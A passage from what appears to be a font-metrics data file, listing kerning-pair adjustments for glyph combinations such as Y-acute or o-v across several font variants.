[-100,-100,-140,-140,-111,-111,-92,-110],Yodieresis:[-100,-100,-140,-140,-111,-111,-92,-70],Yograve:[-100,-100,-140,-140,-111,-111,-92,-70],Yohungarumlaut:[-100,-100,-140,-140,-111,-111,-92,-110],Yomacron:[-100,-100,-140,-140,-111,-111,-92,-70],Yoslash:[-100,-100,-140,-140,-111,-111,-92,-110],Yotilde:[-100,-100,-140,-140,-111,-111,-92,-70],Yperiod:[-100,-100,-140,-140,-92,-74,-92,-129],Ysemicolon:[-50,-50,-60,-60,-92,-92,-65,-92],Yu:[-100,-100,-110,-110,-92,-92,-92,-111],Yuacute:[-100,-100,-110,-110,-92,-92,-92,-111],Yucircumflex:[-100,-100,-110,-110,-92,-92,-92,-111],Yudieresis:[-100,-100,-110,-110,-92,-92,-92,-71],Yugrave:[-100,-100,-110,-110,-92,-92,-92,-71],Yuhungarumlaut:[-100,-100,-110,-110,-92,-92,-92,-111],Yumacron:[-100,-100,-110,-110,-92,-92,-92,-71],Yuogonek:[-100,-100,-110,-110,-92,-92,-92,-111],Yuring:[-100,-100,-110,-110,-92,-92,-92,-111],YacuteA:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAacute:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAbreve:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAcircumflex:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAdieresis:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAgrave:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAmacron:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAogonek:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAring:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteAtilde:[-110,-110,-110,-110,-110,-74,-50,-120],YacuteO:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOacute:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOcircumflex:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOdieresis:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOgrave:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOhungarumlaut:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOmacron:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOslash:[-70,-70,-85,-85,-35,-25,-15,-30],YacuteOtilde:[-70,-70,-85,-85,-35,-25,-15,-30],Yacutea:[-90,-90,-140,-140,-85,-92,-92,-100],Yacuteaacute:[-90,-90,-140,-140,-85,-92,-92,-100],Yacuteabreve:[-90,-90,-70,-70,-85,-92,-92,-100],Yacuteacircumflex:[-90,-90,-140,-140,-85,-92,-92,-100],Yacuteadieresis:[-90,-90,-140,-140,-85,-92,-92,-60],Yacuteagrave:[-90,-90,-140,-140,-85,-92,-92,-60],Yacuteamacron:[-90,-90,-70,-70,-85,-92,-92,-60],Yacuteaogonek:[-90,-90,-140,-140,-85,-92,-92,-100],Yacutearing:[-90,-90,-140,-140,-85,-92,-92,-100],Yacuteatilde:[-90,-90,-70,-70,-85,-92,-92,-60],Yacutecolon:[-50,-50,-60,-60,-92,-92,-65,-92],Yacutecomma:[-100,-100,-140,-140,-92,-92,-92,-129],Yacutee:[-80,-80,-140,-140,-111,-111,-92,-100],Yacuteeacute:[-80,-80,-140,-140,-111,-111,-92,-100],Yacuteecaron:[-80,-80,-140,-140,-111,-111,-92,-100],Yacuteecircumflex:[-80,-80,-140,-140,-111,-71,-92,-100],Yacuteedieresis:[-80,-80,-140,-140,-71,-71,-52,-60],Yacuteedotaccent:[-80,-80,-140,-140,-111,-111,-92,-100],Yacuteegrave:[-80,-80,-140,-140,-71,-71,-52,-60],Yacuteemacron:[-80,-80,-70,-70,-71,-71,-52,-60],Yacuteeogonek:[-80,-80,-140,-140,-111,-111,-92,-100],Yacuteo:[-100,-100,-140,-140,-111,-111,-92,-110],Yacuteoacute:[-100,-100,-140,-140,-111,-111,-92,-110],Yacuteocircumflex:[-100,-100,-140,-140,-111,-111,-92,-110],Yacuteodieresis:[-100,-100,-140,-140,-111,-111,-92,-70],Yacuteograve:[-100,-100,-140,-140,-111,-111,-92,-70],Yacuteohungarumlaut:[-100,-100,-140,-140,-111,-111,-92,-110],Yacuteomacron:[-100,-100,-70,-70,-111,-111,-92,-70],Yacuteoslash:[-100,-100,-140,-140,-111,-111,-92,-110],Yacuteotilde:[-100,-100,-140,-140,-111,-111,-92,-70],Yacuteperiod:[-100,-100,-140,-140,-92,-74,-92,-129],Yacutesemicolon:[-50,-50,-60,-60,-92,-92,-65,-92],Yacuteu:[-100,-100,-110,-110,-92,-92,-92,-111],Yacuteuacute:[-100,-100,-110,-110,-92,-92,-92,-111],Yacuteucircumflex:[-100,-100,-110,-110,-92,-92,-92,-111],Yacuteudieresis:[-100,-100,-110,-110,-92,-92,-92,-71],Yacuteugrave:[-100,-100,-110,-110,-92,-92,-92,-71],Yacuteuhungarumlaut:[-100,-100,-110,-110,-92,-92,-92,-111],Yacuteumacron:[-100,-100,-110,-110,-92,-92,-92,-71],Yacuteuogonek:[-100,-100,-110,-110,-92,-92,-92,-111],Yacuteuring:[-100,-100,-110,-110,-92,-92,-92,-111],YdieresisA:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAacute:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAbreve:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAcircumflex:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAdieresis:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAgrave:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAmacron:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAogonek:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAring:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisAtilde:[-110,-110,-110,-110,-110,-74,-50,-120],YdieresisO:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOacute:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOcircumflex:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOdieresis:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOgrave:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOhungarumlaut:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOmacron:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOslash:[-70,-70,-85,-85,-35,-25,-15,-30],YdieresisOtilde:[-70,-70,-85,-85,-35,-25,-15,-30],Ydieresisa:[-90,-90,-140,-140,-85,-92,-92,-100],Ydieresisaacute:[-90,-90,-140,-140,-85,-92,-92,-100],Ydieresisabreve:[-90,-90,-70,-70,-85,-92,-92,-100],Ydieresisacircumflex:[-90,-90,-140,-140,-85,-92,-92,-100],Ydieresisadieresis:[-90,-90,-140,-140,-85,-92,-92,-60],Ydieresisagrave:[-90,-90,-140,-140,-85,-92,-92,-60],Ydieresisamacron:[-90,-90,-70,-70,-85,-92,-92,-60],Ydieresisaogonek:[-90,-90,-140,-140,-85,-92,-92,-100],Ydieresisaring:[-90,-90,-140,-140,-85,-92,-92,-100],Ydieresisatilde:[-90,-90,-70,-70,-85,-92,-92,-100],Ydieresiscolon:[-50,-50,-60,-60,-92,-92,-65,-92],Ydieresiscomma:[-100,-100,-140,-140,-92,-92,-92,-129],Ydieresise:[-80,-80,-140,-140,-111,-111,-92,-100],Ydieresiseacute:[-80,-80,-140,-140,-111,-111,-92,-100],Ydieresisecaron:[-80,-80,-140,-140,-111,-111,-92,-100],Ydieresisecircumflex:[-80,-80,-140,-140,-111,-71,-92,-100],Ydieresisedieresis:[-80,-80,-140,-140,-71,-71,-52,-60],Ydieresisedotaccent:[-80,-80,-140,-140,-111,-111,-92,-100],Ydieresisegrave:[-80,-80,-140,-140,-71,-71,-52,-60],Ydieresisemacron:[-80,-80,-70,-70,-71,-71,-52,-60],Ydieresiseogonek:[-80,-80,-140,-140,-111,-111,-92,-100],Ydieresiso:[-100,-100,-140,-140,-111,-111,-92,-110],Ydieresisoacute:[-100,-100,-140,-140,-111,-111,-92,-110],Ydieresisocircumflex:[-100,-100,-140,-140,-111,-111,-92,-110],Ydieresisodieresis:[-100,-100,-140,-140,-111,-111,-92,-70],Ydieresisograve:[-100,-100,-140,-140,-111,-111,-92,-70],Ydieresisohungarumlaut:[-100,-100,-140,-140,-111,-111,-92,-110],Ydieresisomacron:[-100,-100,-140,-140,-111,-111,-92,-70],Ydieresisoslash:[-100,-100,-140,-140,-111,-111,-92,-110],Ydieresisotilde:[-100,-100,-140,-140,-111,-111,-92,-70],Ydieresisperiod:[-100,-100,-140,-140,-92,-74,-92,-129],Ydieresissemicolon:[-50,-50,-60,-60,-92,-92,-65,-92],Ydieresisu:[-100,-100,-110,-110,-92,-92,-92,-111],Ydieresisuacute:[-100,-100,-110,-110,-92,-92,-92,-111],Ydieresisucircumflex:[-100,-100,-110,-110,-92,-92,-92,-111],Ydieresisudieresis:[-100,-100,-110,-110,-92,-92,-92,-71],Ydieresisugrave:[-100,-100,-110,-110,-92,-92,-92,-71],Ydieresisuhungarumlaut:[-100,-100,-110,-110,-92,-92,-92,-111],Ydieresisumacron:[-100,-100,-110,-110,-92,-92,-92,-71],Ydieresisuogonek:[-100,-100,-110,-110,-92,-92,-92,-111],Ydieresisuring:[-100,-100,-110,-110,-92,-92,-92,-111],ag:[-10,-10,0,0,0,0,-10],agbreve:[-10,-10,0,0,0,0,-10],agcommaaccent:[-10,-10,0,0,0,0,-10],av:[-15,-15,-20,-20,-25,0,0,-20],aw:[-15,-15,-20,-20,0,0,0,-15],ay:[-20,-20,-30,-30],ayacute:[-20,-20,-30,-30],aydieresis:[-20,-20,-30,-30],aacuteg:[-10,-10,0,0,0,0,-10],aacutegbreve:[-10,-10,0,0,0,0,-10],aacutegcommaaccent:[-10,-10,0,0,0,0,-10],aacutev:[-15,-15,-20,-20,-25,0,0,-20],aacutew:[-15,-15,-20,-20,0,0,0,-15],aacutey:[-20,-20,-30,-30],aacuteyacute:[-20,-20,-30,-30],aacuteydieresis:[-20,-20,-30,-30],abreveg:[-10,-10,0,0,0,0,-10],abrevegbreve:[-10,-10,0,0,0,0,-10],abrevegcommaaccent:[-10,-10,0,0,0,0,-10],abrevev:[-15,-15,-20,-20,-25,0,0,-20],abrevew:[-15,-15,-20,-20,0,0,0,-15],abrevey:[-20,-20,-30,-30],abreveyacute:[-20,-20,-30,-30],abreveydieresis:[-20,-20,-30,-30],acircumflexg:[-10,-10,0,0,0,0,-10],acircumflexgbreve:[-10,-10,0,0,0,0,-10],acircumflexgcommaaccent:[-10,-10,0,0,0,0,-10],acircumflexv:[-15,-15,-20,-20,-25,0,0,-20],acircumflexw:[-15,-15,-20,-20,0,0,0,-15],acircumflexy:[-20,-20,-30,-30],acircumflexyacute:[-20,-20,-30,-30],acircumflexydieresis:[-20,-20,-30,-30],adieresisg:[-10,-10,0,0,0,0,-10],adieresisgbreve:[-10,-10,0,0,0,0,-10],adieresisgcommaaccent:[-10,-10,0,0,0,0,-10],adieresisv:[-15,-15,-20,-20,-25,0,0,-20],adieresisw:[-15,-15,-20,-20,0,0,0,-15],adieresisy:[-20,-20,-30,-30],adieresisyacute:[-20,-20,-30,-30],adieresisydieresis:[-20,-20,-30,-30],agraveg:[-10,-10,0,0,0,0,-10],agravegbreve:[-10,-10,0,0,0,0,-10],agravegcommaaccent:[-10,-10,0,0,0,0,-10],agravev:[-15,-15,-20,-20,-25,0,0,-20],agravew:[-15,-15,-20,-20,0,0,0,-15],agravey:[-20,-20,-30,-30],agraveyacute:[-20,-20,-30,-30],agraveydieresis:[-20,-20,-30,-30],amacrong:[-10,-10,0,0,0,0,-10],amacrongbreve:[-10,-10,0,0,0,0,-10],amacrongcommaaccent:[-10,-10,0,0,0,0,-10],amacronv:[-15,-15,-20,-20,-25,0,0,-20],amacronw:[-15,-15,-20,-20,0,0,0,-15],amacrony:[-20,-20,-30,-30],amacronyacute:[-20,-20,-30,-30],amacronydieresis:[-20,-20,-30,-30],aogonekg:[-10,-10,0,0,0,0,-10],aogonekgbreve:[-10,-10,0,0,0,0,-10],aogonekgcommaaccent:[-10,-10,0,0,0,0,-10],aogonekv:[-15,-15,-20,-20,-25,0,0,-20],aogonekw:[-15,-15,-20,-20,0,0,0,-15],aogoneky:[-20,-20,-30,-30],aogonekyacute:[-20,-20,-30,-30],aogonekydieresis:[-20,-20,-30,-30],aringg:[-10,-10,0,0,0,0,-10],aringgbreve:[-10,-10,0,0,0,0,-10],aringgcommaaccent:[-10,-10,0,0,0,0,-10],aringv:[-15,-15,-20,-20,-25,0,0,-20],aringw:[-15,-15,-20,-20,0,0,0,-15],aringy:[-20,-20,-30,-30],aringyacute:[-20,-20,-30,-30],aringydieresis:[-20,-20,-30,-30],atildeg:[-10,-10,0,0,0,0,-10],atildegbreve:[-10,-10,0,0,0,0,-10],atildegcommaaccent:[-10,-10,0,0,0,0,-10],atildev:[-15,-15,-20,-20,-25,0,0,-20],atildew:[-15,-15,-20,-20,0,0,0,-15],atildey:[-20,-20,-30,-30],atildeyacute:[-20,-20,-30,-30],atildeydieresis:[-20,-20,-30,-30],bl:[-10,-10,-20,-20],blacute:[-10,-10,-20,-20],blcommaaccent:[-10,-10,-20,-20],blslash:[-10,-10,-20,-20],bu:[-20,-20,-20,-20,-20,-20,-20,-20],buacute:[-20,-20,-20,-20,-20,-20,-20,-20],bucircumflex:[-20,-20,-20,-20,-20,-20,-20,-20],budieresis:[-20,-20,-20,-20,-20,-20,-20,-20],bugrave:[-20,-20,-20,-20,-20,-20,-20,-20],buhungarumlaut:[-20,-20,-20,-20,-20,-20,-20,-20],bumacron:[-20,-20,-20,-20,-20,-20,-20,-20],buogonek:[-20,-20,-20,-20,-20,-20,-20,-20],buring:[-20,-20,-20,-20,-20,-20,-20,-20],bv:[-20,-20,-20,-20,-15,0,0,-15],by:[-20,-20,-20,-20],byacute:[-20,-20,-20,-20],bydieresis:[-20,-20,-20,-20],ch:[-10,-10,0,0,0,-10,-15],ck:[-20,-20,-20,-20,0,-10,-20],ckcommaaccent:[-20,-20,-20,-20,0,-10,-20],cl:[-20,-20],clacute:[-20,-20],clcommaaccent:[-20,-20],clslash:[-20,-20],cy:[-10,-10,0,0,0,0,0,-15],cyacute:[-10,-10,0,0,0,0,0,-15],cydieresis:[-10,-10,0,0,0,0,0,-15],cacuteh:[-10,-10,0,0,0,-10,-15],cacutek:[-20,-20,-20,-20,0,-10,-20],cacutekcommaaccent:[-20,-20,-20,-20,0,-10,-20],cacutel:[-20,-20],cacutelacute:[-20,-20],cacutelcommaaccent:[-20,-20],cacutelslash:[-20,-20],cacutey:[-10,-10,0,0,0,0,0,-15],cacuteyacute:[-10,-10,0,0,0,0,0,-15],cacuteydieresis:[-10,-10,0,0,0,0,0,-15],ccaronh:[-10,-10,0,0,0,-10,-15],ccaronk:[-20,-20,-20,-20,0,-10,-20],ccaronkcommaaccent:[-20,-20,-20,-20,0,-10,-20],ccaronl:[-20,-20],ccaronlacute:[-20,-20],ccaronlcommaaccent:[-20,-20],ccaronlslash:[-20,-20],ccarony:[-10,-10,0,0,0,0,0,-15],ccaronyacute:[-10,-10,0,0,0,0,0,-15],ccaronydieresis:[-10,-10,0,0,0,0,0,-15],ccedillah:[-10,-10,0,0,0,-10,-15],ccedillak:[-20,-20,-20,-20,0,-10,-20],ccedillakcommaaccent:[-20,-20,-20,-20,0,-10,-20],ccedillal:[-20,-20],ccedillalacute:[-20,-20],ccedillalcommaaccent:[-20,-20],ccedillalslash:[-20,-20],ccedillay:[-10,-10,0,0,0,0,0,-15],ccedillayacute:[-10,-10,0,0,0,0,0,-15],ccedillaydieresis:[-10,-10,0,0,0,0,0,-15],colonspace:[-40,-40,-50,-50],commaquotedblright:[-120,-120,-100,-100,-45,-95,-140,-70],commaquoteright:[-120,-120,-100,-100,-55,-95,-140,-70],commaspace:[-40,-40],dd:[-10,-10],ddcroat:[-10,-10],dv:[-15,-15],dw:[-15,-15,0,0,-15],dy:[-15,-15],dyacute:[-15,-15],dydieresis:[-15,-15],dcroatd:[-10,-10],dcroatdcroat:[-10,-10],dcroatv:[-15,-15],dcroatw:[-15,-15,0,0,-15],dcroaty:[-15,-15],dcroatyacute:[-15,-15],dcroatydieresis:[-15,-15],ecomma:[10,10,-15,-15,0,0,-10],eperiod:[20,20,-15,-15,0,0,-15],ev:[-15,-15,-30,-30,-15,0,-15,-25],ew:[-15,-15,-20,-20,0,0,-15,-25],ex:[-15,-15,-30,-30,0,0,-20,-15],ey:[-15,-15,-20,-20,0,0,-30,-15],eyacute:[-15,-15,-20,-20,0,0,-30,-15],eydieresis:[-15,-15,-20,-20,0,0,-30,-15],eacutecomma:[10,10,-15,-15,0,0,-10],eacuteperiod:[20,20,-15,-15,0,0,-15],eacutev:[-15,-15,-30,-30,-15,0,-15,-25],eacutew:[-15,-15,-20,-20,0,0,-15,-25],eacutex:[-15,-15,-30,-30,0,0,-20,-15],eacutey:[-15,-15,-20,-20,0,0,-30,-15],eacuteyacute:[-15,-15,-20,-20,0,0,-30,-15],eacuteydieresis:[-15,-15,-20,-20,0,0,-30,-15],ecaroncomma:[10,10,-15,-15,0,0,-10],ecaronperiod:[20,20,-15,-15,0,0,-15],ecaronv:[-15,-15,-30,-30,-15,0,-15,-25],ecaronw:[-15,-15,-20,-20,0,0,-15,-25],ecaronx:[-15,-15,-30,-30,0,0,-20,-15],ecarony:[-15,-15,-20,-20,0,0,-30,-15],ecaronyacute:[-15,-15,-20,-20,0,0,-30,-15],ecaronydieresis:[-15,-15,-20,-20,0,0,-30,-15],ecircumflexcomma:[10,10,-15,-15,0,0,-10],ecircumflexperiod:[20,20,-15,-15,0,0,-15],ecircumflexv:[-15,-15,-30,-30,-15,0,-15,-25],ecircumflexw:[-15,-15,-20,-20,0,0,-15,-25],ecircumflexx:[-15,-15,-30,-30,0,0,-20,-15],ecircumflexy:[-15,-15,-20,-20,0,0,-30,-15],ecircumflexyacute:[-15,-15,-20,-20,0,0,-30,-15],ecircumflexydieresis:[-15,-15,-20,-20,0,0,-30,-15],edieresiscomma:[10,10,-15,-15,0,0,-10],edieresisperiod:[20,20,-15,-15,0,0,-15],edieresisv:[-15,-15,-30,-30,-15,0,-15,-25],edieresisw:[-15,-15,-20,-20,0,0,-15,-25],edieresisx:[-15,-15,-30,-30,0,0,-20,-15],edieresisy:[-15,-15,-20,-20,0,0,-30,-15],edieresisyacute:[-15,-15,-20,-20,0,0,-30,-15],edieresisydieresis:[-15,-15,-20,-20,0,0,-30,-15],edotaccentcomma:[10,10,-15,-15,0,0,-10],edotaccentperiod:[20,20,-15,-15,0,0,-15],edotaccentv:[-15,-15,-30,-30,-15,0,-15,-25],edotaccentw:[-15,-15,-20,-20,0,0,-15,-25],edotaccentx:[-15,-15,-30,-30,0,0,-20,-15],edotaccenty:[-15,-15,-20,-20,0,0,-30,-15],edotaccentyacute:[-15,-15,-20,-20,0,0,-30,-15],edotaccentydieresis:[-15,-15,-20,-20,0,0,-30,-15],egravecomma:[10,10,-15,-15,0,0,-10],egraveperiod:[20,20,-15,-15,0,0,-15],egravev:[-15,-15,-30,-30,-15,0,-15,-25],egravew:[-15,-15,-20,-20,0,0,-15,-25],egravex:[-15,-15,-30,-30,0,0,-20,-15],egravey:[-15,-15,-20,-20,0,0,-30,-15],egraveyacute:[-15,-15,-20,-20,0,0,-30,-15],egraveydieresis:[-15,-15,-20,-20,0,0,-30,-15],emacroncomma:[10,10,-15,-15,0,0,-10],emacronperiod:[20,20,-15,-15,0,0,-15],emacronv:[-15,-15,-30,-30,-15,0,-15,-25],emacronw:[-15,-15,-20,-20,0,0,-15,-25],emacronx:[-15,-15,-30,-30,0,0,-20,-15],emacrony:[-15,-15,-20,-20,0,0,-30,-15],emacronyacute:[-15,-15,-20,-20,0,0,-30,-15],emacronydieresis:[-15,-15,-20,-20,0,0,-30,-15],eogonekcomma:[10,10,-15,-15,0,0,-10],eogonekperiod:[20,20,-15,-15,0,0,-15],eogonekv:[-15,-15,-30,-30,-15,0,-15,-25],eogonekw:[-15,-15,-20,-20,0,0,-15,-25],eogonekx:[-15,-15,-30,-30,0,0,-20,-15],eogoneky:[-15,-15,-20,-20,0,0,-30,-15],eogonekyacute:[-15,-15,-20,-20,0,0,-30,-15],eogonekydieresis:[-15,-15,-20,-20,0,0,-30,-15],fcomma:[-10,-10,-30,-30,-15,-10,-10],fe:[-10,-10,-30,-30,0,-10],feacute:[-10,-10,-30,-30,0,-10],fecaron:[-10,-10,-30,-30],fecircumflex:[-10,-10,-30,-30],fedieresis:[-10,-10,-30,-30],fedotaccent:[-10,-10,-30,-30,0,-10],fegrave:[-10,-10,-30,-30],femacron:[-10,-10,-30,-30],feogonek:[-10,-10,-30,-30,0,-10],fo:[-20,-20,-30,-30,-25,-10],foacute:[-20,-20,-30,-30,-25,-10],focircumflex:[-20,-20,-30,-30,-25,-10],fodieresis:[-20,-20,-30,-30,-25],fograve:[-20,-20,-30,-30,-25,-10],fohungarumlaut:[-20,-20,-30,-30,-25,-10],fomacron:[-20,-20,-30,-30,-25],foslash:[-20,-20,-30,-30,-25,-10],fotilde:[-20,-20,-30,-30,-25,-10],fperiod:[-10,-10,-30,-30,-15,-10,-15],fquotedblright:[30,30,60,60,50],fquoteright:[30,30,50,50,55,55,92,55],ge:[10,10,0,0,0,0,-10],geacute:[10,10,0,0,0,0,-10],gecaron:[10,10,0,0,0,0,-10],gecircumflex:[10,10,0,0,0,0,-10],gedieresis:[10,10,0,0,0,0,-10],gedotaccent:[10,10,0,0,0,0,-10],gegrave:[10,10,0,0,0,0,-10],gemacron:[10,10,0,0,0,0,-10],geogonek:[10,10,0,0,0,0,-10],gg:[-10,-10,0,0,0,0,-10],ggbreve:[-10,-10,0,0,0,0,-10],ggcommaaccent:[-10,-10,0,0,0,0,-10],gbrevee:[10,10,0,0,0,0,-10],gbreveeacute:[10,10,0,0,0,0,-10],gbreveecaron:[10,10,0,0,0,0,-10],gbreveecircumflex:[10,10,0,0,0,0,-10],gbreveedieresis:[10,10,0,0,0,0,-10],gbreveedotaccent:[10,10,0,0,0,0,-10],gbreveegrave:[10,10,0,0,0,0,-10],gbreveemacron:[10,10,0,0,0,0,-10],gbreveeogonek:[10,10,0,0,0,0,-10],gbreveg:[-10,-10,0,0,0,0,-10],gbrevegbreve:[-10,-10,0,0,0,0,-10],gbrevegcommaaccent:[-10,-10,0,0,0,0,-10],gcommaaccente:[10,10,0,0,0,0,-10],gcommaaccenteacute:[10,10,0,0,0,0,-10],gcommaaccentecaron:[10,10,0,0,0,0,-10],gcommaaccentecircumflex:[10,10,0,0,0,0,-10],gcommaaccentedieresis:[10,10,0,0,0,0,-10],gcommaaccentedotaccent:[10,10,0,0,0,0,-10],gcommaaccentegrave:[10,10,0,0,0,0,-10],gcommaaccentemacron:[10,10,0,0,0,0,-10],gcommaaccenteogonek:[10,10,0,0,0,0,-10],gcommaaccentg:[-10,-10,0,0,0,0,-10],gcommaaccentgbreve:[-10,-10,0,0,0,0,-10],gcommaaccentgcommaaccent:[-10,-10,0,0,0,0,-10],hy:[-20,-20,-30,-30,-15,0,0,-5],hyacute:[-20,-20,-30,-30,-15,0,0,-5],hydieresis:[-20,-20,-30,-30,-15,0,0,-5],ko:[-15,-15,-20,-20,-15,-10,-10,-10],koacute:[-15,-15,-20,-20,-15,-10,-10,-10],kocircumflex:[-15,-15,-20,-20,-15,-10,-10,-10],kodieresis:[-15,-15,-20,-20,-15,-10,-10,-10],kograve:[-15,-15,-20,-20,-15,-10,-10,-10],kohungarumlaut:[-15,-15,-20,-20,-15,-10,-10,-10],komacron:[-15,-15,-20,-20,-15,-10,-10,-10],koslash:[-15,-15,-20,-20,-15,-10,-10,-10],kotilde:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccento:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentoacute:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentocircumflex:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentodieresis:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentograve:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentohungarumlaut:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentomacron:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentoslash:[-15,-15,-20,-20,-15,-10,-10,-10],kcommaaccentotilde:[-15,-15,-20,-20,-15,-10,-10,-10],lw:[-15,-15,0,0,0,0,0,-10],ly:[-15,-15],lyacute:[-15,-15],lydieresis:[-15,-15],lacutew:[-15,-15,0,0,0,0,0,-10],lacutey:[-15,-15],lacuteyacute:[-15,-15],lacuteydieresis:[-15,-15],lcommaaccentw:[-15,-15,0,0,0,0,0,-10],lcommaaccenty:[-15,-15],lcommaaccentyacute:[-15,-15],lcommaaccentydieresis:[-15,-15],lslashw:[-15,-15,0,0,0,0,0,-10],lslashy:[-15,-15],lslashyacute:[-15,-15],lslashydieresis:[-15,-15],mu:[-20,-20,-10,-10],muacute:[-20,-20,-10,-10],mucircumflex:[-20,-20,-10,-10],mudieresis:[-20,-20,-10,-10],mugrave:[-20,-20,-10,-10],muhungarumlaut:[-20,-20,-10,-10],mumacron:[-20,-20,-10,-10],muogonek:[-20,-20,-10,-10],muring:[-20,-20,-10,-10],my:[-30,-30,-15,-15],myacute:[-30,-30,-15,-15],mydieresis:[-30,-30,-15,-15],nu:[-10,-10,-10,-10],nuacute:[-10,-10,-10,-10],nucircumflex:[-10,-10,-10,-10],nudieresis:[-10,-10,-10,-10],nugrave:[-10,-10,-10,-10],nuhungarumlaut:[-10,-10,-10,-10],numacron:[-10,-10,-10,-10],nuogonek:[-10,-10,-10,-10],nuring:[-10,-10,-10,-10],nv:[-40,-40,-20,-20,-40,-40,-40,-40],ny:[-20,-20,-15,-15,0,0,0,-15],nyacute:[-20,-20,-15,-15,0,0,0,-15],nydieresis:[-20,-20,-15,-15,0,0,0,-15],nacuteu:[-10,-10,-10,-10],nacuteuacute:[-10,-10,-10,-10],nacuteucircumflex:[-10,-10,-10,-10],nacuteudieresis:[-10,-10,-10,-10],nacuteugrave:[-10,-10,-10,-10],nacuteuhungarumlaut:[-10,-10,-10,-10],nacuteumacron:[-10,-10,-10,-10],nacuteuogonek:[-10,-10,-10,-10],nacuteuring:[-10,-10,-10,-10],nacutev:[-40,-40,-20,-20,-40,-40,-40,-40],nacutey:[-20,-20,-15,-15,0,0,0,-15],nacuteyacute:[-20,-20,-15,-15,0,0,0,-15],nacuteydieresis:[-20,-20,-15,-15,0,0,0,-15],ncaronu:[-10,-10,-10,-10],ncaronuacute:[-10,-10,-10,-10],ncaronucircumflex:[-10,-10,-10,-10],ncaronudieresis:[-10,-10,-10,-10],ncaronugrave:[-10,-10,-10,-10],ncaronuhungarumlaut:[-10,-10,-10,-10],ncaronumacron:[-10,-10,-10,-10],ncaronuogonek:[-10,-10,-10,-10],ncaronuring:[-10,-10,-10,-10],ncaronv:[-40,-40,-20,-20,-40,-40,-40,-40],ncarony:[-20,-20,-15,-15,0,0,0,-15],ncaronyacute:[-20,-20,-15,-15,0,0,0,-15],ncaronydieresis:[-20,-20,-15,-15,0,0,0,-15],ncommaaccentu:[-10,-10,-10,-10],ncommaaccentuacute:[-10,-10,-10,-10],ncommaaccentucircumflex:[-10,-10,-10,-10],ncommaaccentudieresis:[-10,-10,-10,-10],ncommaaccentugrave:[-10,-10,-10,-10],ncommaaccentuhungarumlaut:[-10,-10,-10,-10],ncommaaccentumacron:[-10,-10,-10,-10],ncommaaccentuogonek:[-10,-10,-10,-10],ncommaaccenturing:[-10,-10,-10,-10],ncommaaccentv:[-40,-40,-20,-20,-40,-40,-40,-40],ncommaaccenty:[-20,-20,-15,-15,0,0,0,-15],ncommaaccentyacute:[-20,-20,-15,-15,0,0,0,-15],ncommaaccentydieresis:[-20,-20,-15,-15,0,0,0,-15],ntildeu:[-10,-10,-10,-10],ntildeuacute:[-10,-10,-10,-10],ntildeucircumflex:[-10,-10,-10,-10],ntildeudieresis:[-10,-10,-10,-10],ntildeugrave:[-10,-10,-10,-10],ntildeuhungarumlaut:[-10,-10,-10,-10],ntildeumacron:[-10,-10,-10,-10],ntildeuogonek:[-10,-10,-10,-10],ntildeuring:[-10,-10,-10,-10],ntildev:[-40,-40,-20,-20,-40,-40,-40,-40],ntildey:[-20,-20,-15,-15,0,0,0,-15],ntildeyacute:[-20,-20,-15,-15,0,0,0,-15],ntildeydieresis:[-20,-20,-15,-15,0,0,0,-15],ov:[-20,-20,-15,-15,-10,-15,-10,-15],ow:[-15,-15,-15,-15,-10,-25,0,-25],ox:[-30,-30,-30,-30,0,-10],oy:[-20,-20,-30,-30,0,-10,0,-10],oyacute:[-20,-20,-30,-30,0,-10,0,-10],oydieresis:[-20,-20,-30,-30,0,-10,0,-10],oacutev:[-20,-20,-15,-15,-10,-15,-10,-15],oacutew:[-15,-15,-15,-15,-10,-25,0,-25],oacutex:[-30,-30,-30,-30,0,-10],oacutey:[-20,-20,-30,-30,0,-10,0,-10],oacuteyacute:[-20,-20,-30,-30,0,-10,0,-10],oacuteydieresis:[-20,-20,-30,-30,0,-10,0,-10],ocircumflexv:[-20,-20,-15,-15,-10,-15,-10,-15],ocircumflexw:[-15,-15,-15,-15,-10,-25,0,-25],ocircumflexx:[-30,-30,-30,-30,0,-10],ocircumflexy:[-20,-20,-30,-30,0,-10,0,-10],ocircumflexyacute:[-20,-20,-30,-30,0,-10,0,-10],ocircumflexydieresis:[-20,-20,-30,-30,0,-10,0,-10],odieresisv:[-20,-20,-15,-15,-10,-15,-10,-15],odieresisw:[-15,-15,-15,-15,-10,-25,0,-